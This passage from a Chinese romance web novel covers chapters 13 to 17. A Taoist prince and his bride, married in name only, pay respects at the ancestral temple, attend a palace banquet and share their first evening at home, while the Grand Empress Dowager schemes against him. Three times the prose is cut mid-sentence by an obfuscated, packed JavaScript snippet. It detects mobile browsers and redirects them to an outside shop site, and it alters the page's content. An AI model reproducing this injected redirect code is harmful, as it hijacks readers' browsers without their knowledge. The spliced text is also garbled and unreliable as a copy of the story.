李长昀缓缓吐出一口气,道:“你不必忧心,本王自有安排。” 姜奕安嘿嘿一笑,道:“有皇叔这句话,我就放心啦!” 李长昀见她上一瞬忧心忡忡,这一瞬便笑容满面,颇觉无奈,转头撩开了帘子一角,望向这条熟悉的街巷,目光又淡了下来…… 太庙紧邻皇城东安门,此处山水皆灵、四时四景,此时茂密的青松遮下了绿阴,在太庙门口如士兵一般守卫着亡者魂灵。 李长昀先下了马车,正要前行,却脚步一顿,回首望去,只见姜奕安站在马车下,愣愣地望着太庙门前的连成片的青松。 李长昀见她久久未上前,微微蹙眉,便上前道:“何事?” 姜奕安没想到会来太庙,她以为是直接入宫谢恩的,可她立刻便明白过来,这是要祭拜先帝…… 姜奕安摇了摇头,敛去了眸中的情绪,抬头向李长昀露出了笑容,道:“无事的,走吧。” 太庙之中的宫人皆是一身绿衣,指引着这对新人穿梭过二门三桥,进行着繁复的仪式,姜奕安跟着李长昀不停地下跪、叩头、起身,感觉腿和腰酸软得很,却又不敢放松,最后一跪时,险些没起得来,还是李长昀扶了她一把,她才没摔倒…… 姜奕安每年都陪姐姐来两次,可她每次都不愿进来,只在外面等着,姐姐祭拜的人中,有她不想祭拜的…… 虽今日祭拜正殿,见不到他的牌位,可姜奕安却心如鼓擂、心不在焉…… 仪式罢了,李长昀目光没有一丝留恋,依旧十分平淡,伸手拍了拍袍上的尘土,望向西配殿,道:“本王随你,向岳丈上柱香吧。” 姜奕安身子一凛,下意识向扭头想西配殿看去,却强忍住了,只垂着头道:“多谢王爷体恤,只是不必了。” 李长昀垂下头,只能瞧见姜奕安凤冠上颤颤巍巍的钗环,微微蹙眉道:“新婚第一日,上柱香也是应当的……” “真的不必了,父亲他……他喜静的,不愿旁人打扰。”姜奕安有些着急,道,“你我成婚之事,我和姐姐已经在府中祠堂中,向父亲母亲一并上香说过了,实在不必再说一次。” 李长昀觉得这于礼不合,他二人虽是面上夫妻,但毕竟是岳丈,而且还是为国捐躯的功臣,他还是亲自上柱香的好…… 可他还未再开口,便见姜奕安伸手拉住他的衣袖,眸中似是有了些泪意,眼巴巴地望着他道: “求求你了,别去。” 14. 第 14 章 马车之上,二人之间仍是隔着“楚河汉界”,只是闭目养神的人成了姜奕安,李长昀拿着一本书册在看,却许久没有翻动一页。 他伸手摩挲了一下衣袖,正好是方才姜奕安拉扯过的地方。 多年来养成的良好教养让他没有刨根究底、一意孤行,便遂了她的意,并未坚持祭拜。 九年前宫变之时,他从凉州一路跋涉,领平西大军入盛京平叛,只在收敛宫中尸体的名册中,瞥见过仁国公姜佑善夫妇的名字。 就在第一页,最醒目的位置,因此配享太庙,得供皇家香火。 当时他还为此与舅祖父叹息过,那般忠君爱国、傲骨霜雪之人,这般故去着实令人扼腕。 如今阴差阳错,他竟娶了他的女儿,原来从九年前那时起,她就注定要入局吗…… 马车缓缓停下,姜奕安立刻睁开了双目,回避着李长昀的目光,随着他下了马车。 朱红的宫墙之内,缓缓走来一群宫人,从巍峨宫城的侧门鱼贯而出。 宫人低头敛眉,仪仗排场极大,凸显皇家尊贵,姜奕安压下了那些不该有的情绪,恢复了恭敬的神色。 为首的宫人正是崔悯。 崔悯一甩拂尘,恭敬行礼道:“请王爷王妃入宫。” …… 寿康宫中,李长昀和姜奕安在殿中跪下,叩头行礼。 太皇太后目光缓缓扫过二人,微微昂起了下巴,露出了笑意,道:“快起身吧,赐座。” 寿康宫中檀香熏得太重了,姜奕安身上又是里三层外三层,憋得又闷又热,姜奕安身子歪了歪,但很快稳住,慢慢起身坐下了。 一旁的李怀荆眼眸晶亮,见二人都坐下了,忍不住站起身道:“朕瞧着,九皇叔和安姐姐般配得很,可称得上是神仙眷侣。” 太皇太后和一旁的淑慧大长公主对视一眼,忍不住笑出声,道:“皇儿,如今该改口叫皇婶了。” 李怀荆尴尬地笑笑,又缓缓坐下道:“是朕疏忽了。” 太皇太后唤来汪展,念了一遍赐给姜奕安的礼单,姜奕安实在是有些受宠若惊…… 婚前就赐了丰厚的嫁妆,现在又要赐? 待礼单念完,太皇太后又从满头珠翠上摩挲着,取下了一支颇有分量的金钗,插进了姜奕安的发间,道:“这只并蒂牡丹石榴金钗是哀家进宫时,先太后所赐,如今赐给你了,愿你与宸王琴瑟和鸣、比翼双飞、早生贵子。” 姜奕安急忙谢恩。 淑慧大长公主在一旁抚掌道:“九弟可是兄弟姐妹当中,唯一一个尚无子嗣的,如今娶了妻,可要抓紧些了。” 姜奕安尴尬得不行。 两个人是假夫妻,怎么会有孩子呢…… 太皇太后转而看向不发一语的李长昀,道:“哀家与皇儿商议过了,你既新婚燕尔,与新妇自然正是蜜里调油的时候,便给你放上十日婚假,这十日在府中好生歇着,陪陪新妇吧。” 李长昀仍是垂着眸子,道:“谢陛下和太皇太后,只是如今银州水患未除,臣怕因成婚小事误了朝堂大事,实不敢过多歇息。” 太皇太后不语,只瞧了一眼李怀荆。 李怀荆便道:“九皇叔为朕辅政三年,为江山社稷鞠躬尽瘁,朕深感动容,不如趁这个机会好生歇息一番,不然朕总觉得心中有愧于皇叔。” 皇祖母说九皇叔和安姐姐骤然成婚,必要经历一个过程,才能琴瑟和谐、举案齐眉,他自是想让他们二人好生培养感情的。 朝堂大事有舅祖父在,肯定出不了乱子的。 李长昀并未坚持,唇角浮现了些许笑意,行礼道:“臣谢陛下体恤,恭敬不如从命。” 太皇太后脸上这才有些笑容,道:“既如此,哀家就等着抱孙子了。” 姜奕安红着脸、挪着小步回到李长昀身边,抬头望了他一眼,见他长睫轻垂,眸光淡漠,似是从未听到方才那些话,也不在意那些话是否与他有关。 李长昀就像一棵山中的古松,无论风吹日晒、斗转星移、风云变幻,就静静地立在那里,从不改变自己的位置,也不改变自己的形态,甚至向上生长的力量也没有了…… 然而却活着,但也只是活着。 宫宴开始了,丝竹之声响起,歌舞乐女登台,寿康宫中登时亮堂了许多。姜奕安坐在女眷之中,左右两侧分别是宁王妃和宋王妃,后面坐着李怀茵的母亲恭王世子妃。 先帝共生有九子三女,如今尚存于人世的,只有长子宁王李长暄、第七子宋王李长曦和幼子宸王李长昀,第三子定王李长晖因谋反被论罪,第四子宣王李长昭早早因病过世,留下的皇太孙李怀荆继承了帝位,其余几子皆未成年便夭折。 宁王因是先帝长子,宁王妃位置靠前些,宋王向来不起眼,宋王妃地位便低些,而最受宠莫过于淑慧大长公主,为太皇太后亲生的先帝长女,在太皇太后身边坐着,亲自伺候,时不时瞧两眼姜奕安,目光有些古怪。 姜奕安倒是未在意这些,今晨吃了一肚子没滋味的早膳,现在早已饿了,只是宫中吃食虽样式精致、食材昂贵,但味道实在称不上好,故而姜奕安也没吃多少,将大半精力用来应付宗亲的寒暄了。 宁王妃打量着姜奕安,见她面色红润、气色丰盈,呼吸起伏间吐气如兰、胸口轻颤、眸光含水,忍不住露出了笑意,悄悄道:“宸王殿下可会疼人?” 姜奕安立刻点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659102|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却感觉头上的钗环颤动得厉害,急忙扶了扶,道:“殿下很好,很会疼人。” 他为了不打扰自己,主动睡在地上,这不是会疼人是什么? 宁王妃捂住唇,揶揄地笑了,道:“那我就放心了。” 她就说嘛,修道又如何,温香软玉和清规戒律,是个男人都知道怎么选…… 姜奕安也向她笑着。 宁王妃自诩在这事上经验甚为丰富,毕竟宁王与自己成婚二十年不纳侧妃、不养妾室,更不留恋秦楼楚馆,如今这个年纪也是“威风凛凛”,她一直颇为自得,便想向年轻小夫妻传授些经验,又道:“其实我们女子,一开始矜持些是可以的,但不能一直矜持,也要主动些的。” 姜奕安虽然觉得自己跟矜持二字一点都不沾边,但还是一边吃着乳酪,一边乖巧点头,宁王妃忍不住捏了捏她的脸颊。 这么精致可爱的人儿,难怪能让九弟动了凡心…… 宫宴因太皇太后的退席而结束,姜奕安本下意识随着宁王妃、恭王世子妃一起出宫,却被宁王妃轻轻推到了李长昀身侧,自己几步到了宁王身旁,夫妻二人对视一眼笑得开怀,转身便走了。 李长昀在宗室之中颇有些地位,方才一群人围在他身旁,如今都从善如流地离开,离得远远的。 姜奕安:…… 李长昀似是并不在意,只迈步走向宫城,姜奕安垂着头跟在后面也不言语,二人就这样一直沉默着,直到走到了宫门外,便瞧见了诸葛让。 姜奕安一脸惊喜,笑着向他招手道:“大统领,好久未见啊!” 李长昀微微蹙眉,转头看向姜奕安,神色似是并不赞同。 姜奕安立刻噤声,将双手规规矩矩交叠在身前,但又向诸葛让眨了眨眼睛。 诸葛让向李长昀行礼时脸色很木,但向姜奕安行礼时却笑意盈盈。 姜奕安向他回以微笑,道:“大统领向我行礼,又唤我王妃,倒像是要同我生分了,日后可莫要如此客气了。” “王妃身份尊贵,臣不敢逾矩。” 姜奕安却不赞同,道:“可大统领曾教过我剑术,也算是我的师父了,按理说,我还要向你行师礼呢,可这么多年我哪里行过师礼呢……” 诸葛让哈哈一笑,道:“说得在理。” 二人趁着陛下尚未通传的功夫继续寒暄着,倒将李长昀晾在了一旁。 李长昀本不是在意被冷遇之人,可二人越说越投机,你来我往尽兴得很,让他没来由得有些烦躁,忍不住扭头看去。 只见姜奕安双手在身前比划着,眉飞色舞、神色灵动,与方才那副沉闷的模样判若两人。 竟是完全将他忽视了。 15. 第 15 章 李长昀手指摩挲着木戒,目光望向了远方。 姜奕安同谁说话,是何心情,于自己有何干呢? 怎的就被她牵动了心绪? 这于修道无益,应当抛下才是…… 他便垂手立在宸王府的马车旁,双手藏在袖中,手指摩挲着木戒,听着二人在谈论姜奕安姐姐的近况。 远处停着宁王府的马车,宁王妃透过窗帘的缝隙向外瞧去,一脸焦急道:“九弟妹怎的和诸葛大统领那般熟稔?” “九弟就在一旁瞧着,竟也不生气?” “我说什么来着,只是面上做夫妻给太皇太后看呢。”宁王叹息着道,“如今陛下年幼,太皇太后对九弟忌惮得很,以为他修道只是个幌子,实则密谋走先定王的老路,故意试探他呢。” 宁王妃有些不解,道:“可若是试探,想法子推了不就成了?” 虽是直接赐婚,但以宸王辅政三年便掌大半朝堂的手段,要推了也不是太难…… “太皇太后的疑心若是能上称,只怕一千斤都打不住……”宁王冷笑了一声,道,“如九弟使计推了,只怕太皇太后会担心,九弟以修道为幌子一直不成婚,为的是挑个有力的岳家帮衬,那对陛下掌权可是不利得很。” “可他修道名声在外,只怕有头有脸的人家,也不太愿意将女儿嫁给他吧。” 宁王轻咳一声,压低了声音,道:“你忘了昌乐郡主吗?她如今为父安东侯守孝,若我没记错,孝期还有几个月就过了。” 这一说,宁王妃想起来了。 应该是十年前的事情了,那时手握七万军队、守卫东海防线的安东侯刚击退倭寇,入宫受赏,那位惊世骇俗的昌乐郡主饮多了酒,放出豪言壮语,说自己心悦李长昀多年,要嫁给他。 当时先帝当个笑话听,不置可否。 “可是,这对九弟妹也太不公平了。”宁王妃有些不忍,瞧着姜奕安和李长昀上了马车,便放下帘子,道,“九弟妹一个无依无靠的孤女,九弟若心里有旁人,婚后冷落她,她还能依靠谁?” “自然是谁待她好,她依靠谁。”宁王敲了敲马车壁,马车开始行进,他继续道,“你瞧今日,太皇太后待她多亲热,给了她多大的体面……” 宁王妃点了点头,道:“那要我多与她亲近些吗?” “可以走得近些,但莫要太近,我总怕日后若太皇太后真要对九弟动手,殃及池鱼,咱们也讨不了好。”宁王思忖着摸了摸胡须,道,“咱们……还是明哲保身为好。” …… 寿康宫中,太皇太后倚靠在贵妃榻上,隐在若隐若现的绯红帐子后面,纤长白皙的手指抵着额头,道:“昨夜当真没圆房?” 汪展又在她脚边跪下,轻柔地给她按摩着小腿,轻声道:“是真的。” “难道他还真做道士不成?”太皇太后冷笑了一声,道,“来日方长呢,再瞧瞧吧。” 汪展笑着道:“还是娘娘圣明。” “哀家大腿有些酸痛,你再按按吧。” 太皇太后坐正了身子,舒服地倚靠在迎枕上,透过帐子的缝隙望着汪展,道:“汪展你说,一匹凶猛的狼,真能变成一只听话的狗吗?” 汪展的双手握住了太皇太后的双膝,顺而向上,轻声道:“奴婢觉着,得看是什么样的主子。” “以前那般张扬的一个人,真能没了脾性?不论是什么样的主子,哀家可不信能调教出来。”太皇太后冷笑了一声,道,“只怕是两面三刀、阳奉阴违,跟梁淑妃那贱人还真像。” “哀家刚一放权,他便迫不及待安插自己的人了,推了个裴峻去银州赈灾,现在咱们半点消息也打探不到……”太皇太后忍不住咬牙,道,“哥哥究竟是怎么搞的,怎就让他钻了空子……” 汪展的目光穿过帐子的缝隙,瞧见太皇太后用染了丹蔻的指甲狠狠掐着自己的掌心,便轻声道:“娘娘,莫急,如今咱们有了能用的棋子,慢慢筹谋,要扳倒他也不是难事。” “九年前没能一鼓作气除掉他真是可惜,不过先帝当真是爱她,那般情景下却还要保下她的儿子,如今他有了根基,还轻易动不得了。” 太皇太后眸光阴冷了许多,突然手指一阵钝痛袭来。 她竟生生折断了一截指甲…… 太皇太后定定地望着自己的手指,一阵柔软的触感袭来,便见汪展不知何时来到自己眼前,张口吮住了自己受伤的手指。 太皇太后仰着下巴,居高临下地望着虔诚地为自己清理血迹的汪展,目光迷离了许多,另一只手轻轻撩开了帐子,拍了拍自己的身旁。 绯红的帐子如夏日江上,微风阵阵,吹起了淡淡清波…… 一刻钟过去了,太皇太后面色酡红,懒懒地盖着被褥,眼波流转,看向在一旁穿衣裳的汪展,手指一挑,便将一件翠绿的肚兜递到了他的手中。 “还是你亲自给哀家洗,莫忘了。” 汪展恭恭敬敬地接过,在唇边轻轻蹭过吻了吻,轻声应了一声“是”。 …… 李长昀和姜奕安在马车上,仍是各坐一角、泾渭分明。 姜奕安方才和诸葛让说了好一会话,心情好了许多,只是衣裳太厚、凤冠太重,她感觉胸口发闷、脖颈发痛,而且浑身都汗津津的。 当王妃可真累…… 姜奕安一边用手给自己扇着风,一边想拿出手帕给自己擦擦汗,摩挲了半天都没找到,才想起这王妃冠服,似是没有放手帕的地方。 一方素帕递到了她的眼前,被风掠过,露出了拇指上的木戒。 姜奕安抬眸,便和李长昀对视了一眼。 李长昀飞快地移开目光,望向外面的街巷,道:“用本王的吧。” 姜奕安小声道谢后接过,那素帕上干干净净,布料柔软舒服,一角绣着三道断断续续的横杠,似是八卦阵之类的,沾染的味道如同雪中青松,只是没有那丝檀香气息了…… 姜奕安小心翼翼地擦了擦脸,却发现那素帕上沾上了自己脂粉的印记和气息,便不好意思还给他了,正想像平日一般揉成一团,却又想起是李长昀的手帕,便端端正正叠成了四方,握在手心中。 李长昀却在此时向她伸出了手。 姜奕安捏了捏那方手帕,道:“上面沾了些脂粉,等我洗好了之后,再还给王爷吧。” 李长昀手指微顿,木戒似是晃动了一下,才收回手,道:“不必还了,你留着用便是。” 自己这是……被他嫌弃了? 姜奕安扁了扁唇,她知道李长昀喜洁,可她也是爱干净的小娘子!而且,她自己用的帕子都绣着可爱娇俏的花鸟,何时用过这种老道士的手帕! 姜奕安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668402|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将手帕揉成了一团…… 又是一路无话,回府后姜奕安便迫不及待回房中卸下这一身冠服,狠狠地伸了个懒腰,准备午歇一会,回头望了一眼床榻,才想起来如今这床榻属于她和李长昀两个人…… 一下马车李长昀便不见人影了,离奇得很…… 姜奕安瞧着被自己胡乱丢弃在妆台上的那方手帕,上前拿起递给了拂冬,道:“帮我把帕子洗干净,然后在那绣着纹样的角落上,绣只燕子吧。” 她仔细瞧过,燕子只用黑白丝线绣即可,能盖住原本那几道黑线…… 拂冬好奇地瞧了瞧,但也没有多话,接下帕子应是,待姜奕安上榻后,给她遮好了帐子。 姜奕安又道:“这床榻不舒服,找王府的人问问,有没有多余的迎枕和被褥,多铺几层。” 待拂冬应下离开,姜奕安打了个哈欠,直接滚上了床榻、闭上了双目,这一觉便睡到了酉时,醒来时,外面已有些暗了。 姜奕安饱睡一觉,神清气爽,用力伸了伸懒腰,想着再在床榻上赖一会,却听见肚子“咕噜”一声。 早膳吃了一堆素菜,午宴更是无滋无味,饿得自然快。 姜奕安便立刻起身,在自己右耳侧松松地绾了个发髻,唤了一声“拂冬”。 房门开了,拂冬急匆匆进来道:“娘子,张叔说,今日晚膳王爷来一起用。” 姜奕安点点头,又在外面披了一件杏色外衫,迫不及待在桌案前坐好,便见李长昀迈步走了进来。 李长昀已换下那绯红四爪蟒袍,淡灰棉袍裹在身上略显松垮,但发髻梳得一丝不苟,目光落在姜奕安耳边那松垮的发髻,微微蹙了蹙眉。 姜奕安已卸下白日浓艳的妆,如今素着一张小脸,发丝略显杂乱,看起来柔软娴静,如小绵羊一般温和,倒有了几分楚楚可怜的形容姿态…… 李长昀脚步一顿,摩挲了一下拇指的木戒,坐在桌案旁道:“听张叔说,你有事寻我?” 姜奕安微微睁大了眸子。 她没事啊,不是他要来和自己一起用膳的吗…… 李长昀一看姜奕安的眼神,又见几个婢女端着晚膳鱼贯而入,便明白了此事原委。 想来是张瞻为了给他与姜奕安创造相处机会…… 李长昀摇了摇头,向婢女们道:“本王不习惯人伺候,你们自去用晚膳吧。” 姜奕安平日里习惯和拂冬一起用膳,但若是和李长昀一起,拂冬在就不太合适了,因而也并未提出异议,只揉了揉饿扁的肚子,兴致勃勃地看向满桌的菜肴。 一桌子菜,绿得发光、白得耀眼,除了菜叶就是白饭,唯一看起来颜色颇显突兀的,还是蘑菇和茄子…… 姜奕安从不在吃上委屈自己,每日必有荤腥和甜食,而且要荤素搭配,口味口感俱佳才行。 从小到大,她还没在用膳上吃过这种苦呢…… 姜奕安登时抿住了樱唇,一脸悲愤地看向李长昀。 李长昀正拿起筷子,慢条斯理地准备夹那绿油油的菜叶,感受到姜奕安的目光,便抬眸看向她,眉心又微蹙,道:“为何这般瞧着本王?” “早膳都是素菜,晚膳也是素菜。”姜奕安哀怨地望着他,声音中不自觉地带了些娇气,道: “王爷这个月的俸禄是花光了吗?还是要食言,不愿养着我了……” 16. 第 16 章 李长昀手中的筷子停在了半空中,眉心蹙得更紧了些。 上次对美食产生渴望,好像已经是很久远的事情了。 尤其是在清平宫的那六年,每日就是一叠素菜和几个馒头,再重口腹之欲的人,欲望也会被磨平…… 重获自由之后,便一心修道,一直茹素,用膳完全是为了果腹。 他从来没想到过,姜奕安会对吃食这般看重,而且看起来,似是受了天大的委屈。 李长昀向来不太喜欢娇气的人,觉得麻烦得紧,但既已将人娶了回来,那能照顾的还是照顾一下。 偌大一个王府,左右不是养不起…… 李长昀缓缓放下筷子,目光扫过桌案上的菜色,眉心仍是蹙着,但语气放松了些,道:“本王茹素多年,已成习惯,王府庖厨自是还以本王的口味为先,故而有些忽略了……” 姜奕安眨了眨眼睛,这才反应过来,他是修道的。 这两日相处,姜奕安并未在他身上发现什么修道的痕迹,倒让她忽略了这事…… 姜奕安不好意思地笑了笑,道:“抱歉王爷,我忘记此事了……” 李长昀眉心舒缓了些,继续道:“本王的俸禄,倒是没那么容易用光,养你还是轻松的。” 姜奕安脸色有些发红,捏了捏自己的手指,抬眸见李长昀已开始用膳了,便轻叹一声,拿起筷子。 这菜,真的很难以下咽,吃了几口,姜奕安感觉自己的脸都变成菜色了,悄悄看向李长昀,却见他慢条斯理,细嚼慢咽,神色没有分毫波动,对送进嘴里的东西没有一丝感情。 姜奕安实在是理解不了这样的人,怎会对吃没兴趣呢…… 姜奕安眼珠一转,轻声道:“王爷,我能不能出府一趟?” 李长昀慢慢咀嚼,咽下这一口,缓缓放下了筷子,道:“现在?” 姜奕安点点头,一脸期待地看向李长昀。 她实在是受不了这朴素无味的菜了,想去外面的酒楼吃一顿…… 李长昀没想到这才新婚第一日,她便闲不住地开始折腾了,轻叹一声道:“今日是你我新婚初日,你单独出府怕是不太合适。” “也是……”姜奕安看起来有些失望,又忽而抚掌道,“那王爷陪我一起去不就好了?” 李长昀心颤了一下,立刻道:“去哪里?” 姜奕安如实道:“晚膳我没吃饱,想去外面吃些。” 李长昀看着桌案上已被他用过大半、姜奕安却没吃几口的晚膳,疲惫地捏了捏眉心。 一顿饭吃得不好都不行,还真是娇气的小娘子…… “一起去嘛!”姜奕安大胆地拽住李长昀的衣袖摇了摇,道,“若碰上认识的人也不怕的,正好让旁人看看,我们有多恩爱!” 李长昀目光落在姜奕安脸上,见她眸中闪烁着微光,似是湿漉漉的。 只是外面天色已黑,若此时出门再回,怕是会耽误晚课…… 李长昀手指轻点着桌案,道:“今夜出门怕是不便,不如你将想吃的东西列个清单,本王差人去买来。” 姜奕安其实更想自己去,顺便在外面玩玩的,但李长昀虽态度轻缓,但语气强硬,姜奕安虽有些失望,但觉得这个结果还不错,便立刻点了点头。 李长昀唤了一声“夏原”,只听外面一声响动,夏原便凭空出现进了屋中,听罢李长昀的吩咐,惊讶地睁大了眸子。 李长昀的人,姜奕安不好意思用得太顺手,便只说了望月楼的几样菜,夏原紧抿着唇退下了,一出房门便碰见了探头探脑、抓耳挠腮的张瞻。 张瞻立刻抓住他,道:“发生了何事?” 夏原双手揉着他那还未长开的肉嘟嘟的脸,道:“真是活见鬼了,殿下吩咐我去望月楼给王妃买吃的。” “啊!”张瞻一拍脑门,恨得跺脚。 果然自己是年纪大了,没想到新王妃可能会对这些素食不满,倒显得自家王爷不体贴。 不过转念一想,王爷竟会安排人给王妃买吃食,也就是曾经的淑妃娘娘曾经享受过这种待遇,王爷入宫就给娘娘带些宫外的吃食。 如此,想必王爷心中是有王妃的,那小世子应该是指日可待了…… 张瞻又笑了起来。 夏原见张瞻一会难过一会笑,无奈地摇了摇头,没再理他,便去办自己的差事了。 …… 那桌案上的素菜,到底是被李长昀全用完了,只剩下了一些白粥,说是明日一早热一热还能吃。 姜奕安一脸惊讶,却见李长昀缓缓起身,轻轻抚了抚腹部,道:“一餐一饭应思来之不易,不可浪费。” 姜奕安在听松院门口等着自己的菜,李长昀则是准备去书房,在路上碰见了张瞻,主仆二人一边向书房走去,张瞻则是迫不及待请罪道:“今日安排晚膳,是老奴疏忽了。” 李长昀扶起张瞻,道:“也是王妃娇气了些,张叔不必自责,你得空将对牌交给王妃,日后她若有什么需求,不太过分的,满足就是。” 张瞻急忙应是。 李长昀无奈地摇了摇头,推开了书房的门。 他极少与女子打交道,唯一熟悉的女子就是母妃和舅祖母,但舅祖母和母妃礼仪周全、贤良淑德,与姜奕安无半点相同之处。 他也没想到姜奕安竟这般娇惯,心中难免有些不喜…… 张瞻察觉到了李长昀的态度,忙道:“殿下,王妃年纪尚轻,骤然嫁入了王府,本就心中惶恐,在吃食上又不习惯,有些小情绪也正常。” 书房之中没有点灯,十分昏暗,穿堂风吹过还有些发冷,李长昀身子微微一抖,迈步走进后,道:“我明白,等后日回门过后,我便去道观住着,想来与她也没有什么接触的机会了。” 见不到人,便不会烦心。 张瞻本以为王爷愿意派人去给王妃买吃食,定是对王妃有所好感,可没想到,他还是要去道观住。 李长昀来到桌案前,燃了烛火,道:“翠嬷嬷和那两个内务府派来的婢女,劳烦张叔派人好生盯紧,若她们出府递消息,掌握她们递出去的是什么消息即可,只要于正事无碍,便不必打草惊蛇。” “张叔今日辛苦了,将春雷唤来见我,便回去歇着吧。” 张瞻只得应下,李长昀目送他离去,便坐在桌案前,从抽屉中取出一块四四方方的木料和一个精致的木盒,将木盒打开取出一支短小精美的银刀,开始认真地雕刻。 不一会,春雷到了。 李长昀的手很稳,仍在雕刻着,道:“银州如今情况如何?” “赈灾十分顺利,只差重建堤坝便可回京复命了,只是遇到了几次暗杀,不过都被咱们挡回去了。”春雷呈上一封信,“具体情形,裴员外郎信中详述。” 李长昀放下手中的木料和银刀,将信徐徐展开,眉心愈蹙愈紧,看罢将信凑到了烛火前,待火光侵蚀了脆弱的宣纸,便丢弃了一旁的盆中,磨墨修书两封后,道:“一封送到竹青茶楼给舒清,另一封必得连夜飞鸽传书给裴峻。” 春雷将信收好,行礼后便飞身不见,李长昀拾起木料和银刀,手起刀落、手法极快,又取出矬子打磨了许久,那方木料已有了人俑的雏形。 …… 姜奕安终于是饱餐了一顿,围着听松院消食时,碰上了张瞻。 张瞻十分恭敬地交上了宸王府的对牌,说是王爷的意思。 姜奕安笑着应下,又问了李长昀的去处,张瞻便亲自向她引路,去了书房。 书房离听松院倒是很近,只需经过一个园子,那园子中星星点点的竹林环绕着一座精致的小拱桥,桥下涓涓细流中还有些锦鲤在游荡,姜奕安好奇地瞧了好一会,张瞻便在一旁问拂冬一些姜奕安平日的习惯。 待姜奕安来到书房门口,抬头便见书房上的匾额写着“山不让尘”四个大字。 姜奕安让拂冬在廊下等着,便敲响了房门,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673438|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王爷,是我。” 房中的烛火似是颤动了一下,接着脚步声响起,房门缓缓打开,李长昀踏着昏暗的光立在了姜奕安的面前。 姜奕安仰头看向他,露出了甜甜的笑意,道:“我是专程来向王爷道谢的,望月楼的饭菜极好,我全都吃了,一点都没浪费。” 李长昀觉得,这样的小事,倒不必专程来同自己说一声,可是瞧见姜奕安那张真诚的笑脸,便浅浅应了一声。 姜奕安伸出手:“王爷若是现在有空,不如我来替王爷按摩眉心吧?” 她还记得自己的承诺呢,虽然当时王爷婉拒了,但现在二人之间关系算是更进一步了,说不定他会同意呢。 而且,她还有求于他呢…… 李长昀却摇了摇头,只道了句“多谢”。 姜奕安见他再无表示,便歪着身子望了一眼书房里面,道:“有事想问问王爷,我能进去吗?” 李长昀眉心微蹙道:“本王这便要念经……” “就几句话,很快的,我保证!” 姜奕安举起了手。 春日夜间,一袭柔和的风吹来,卷着竹林发出沙沙的声响,书房的门又敞开了些,姜奕安杏色的衣袂往书房里追去,却在将要触碰到李长昀衣袍的那一刻,停下了。 书房外,是灯笼的光亮,照亮了生机盎然的园子,书房内,只有一星烛火,只能映着桌案那一方天地…… 李长昀轻叹一声,微微侧身,道:“请进吧。” 姜奕安小心翼翼地迈步进了书房,惊讶地发现里面竟然这般昏暗,只桌案上燃了灯,便道:“王爷是在读书吗?屋中这般暗能瞧得见吗?” 李长昀未答,只道:“寻本王何事?” 姜奕安转身看向李长昀,道:“明日,我们去做什么?” “不做什么。” “就在府中呆着吗?” “是。” “不觉得无聊吗?” 李长昀在心中轻笑一声,在府中呆着就算无聊了吗?那六年光阴,他每日面前,就是那四四方方的铜墙铁壁,连光亮都是恩赐和施舍。 如今这样的生活,自然就算不得无聊了…… 姜奕安见李长昀不答,继续兴致勃勃道:“那明日我们要不要出府玩儿,去城外跑马如何?” 李长昀还未答,姜奕安便迫不及待道:“听闻王爷骑术甚佳,我想和王爷切磋一二,好不好呀?” 她当真没有一刻是闲着的,总要给自己找点事情做…… 李长昀忍不住叹气,道:“在府中乖乖呆着不好吗?” 姜奕安歪着头看着他,道:“我是瞧着王爷这几日都没笑过,看起来心情不大好,出府散散心能愉悦些。” 她确实是自己想出门玩,但拉着李长昀一起,也是觉得他这两日心事重重,怕他忧思太甚、愁绪太过。 李长昀一愣,缓缓坐在了桌案前,手指摩挲着木戒,道:“本王已多年不骑马了,还是不去了。” 姜奕安自是能看出来他回避的态度,也不愿勉强他和自己出府,正欲离开,却瞧见了桌案上的蟒形木笔架旁边,有一个小人俑,一脸惊奇地指着道:“这是王爷刻的吗?” “我可以拿来看看吗?” 李长昀自是不会拒绝,姜奕安见他点头,急忙拿在手里仔细端详着,见这小人立在掌心,小巧玲珑、精致可爱,似是在冥思苦想。 姜奕安身子前倾,越过桌案,与李长昀的距离不过一尺,眸子晶亮地眨了眨,一脸期待地望向李长昀:“我想学这个,明日王爷若无事,可以教我吗?” 李长昀猝不及防,与她四目相对,忽而说不出拒绝的话来,从喉咙中滚动出了个“好”字。 “那就这么说定了!” 姜奕安脸上笑意盎然,将小人俑放回了原处,临走前,伸出手指向两侧推了推自己的唇角,道: “多笑笑呀,王爷这么俊朗,笑一笑好看的。” 17. 第 17 章 今日,春夜的风比往日的都要急些,将书房的门掀得大开,穿林打叶之声一阵阵袭来,卷起了李长昀的衣袂。 李长昀望着姜奕安远去的背影,久久回不过神来。 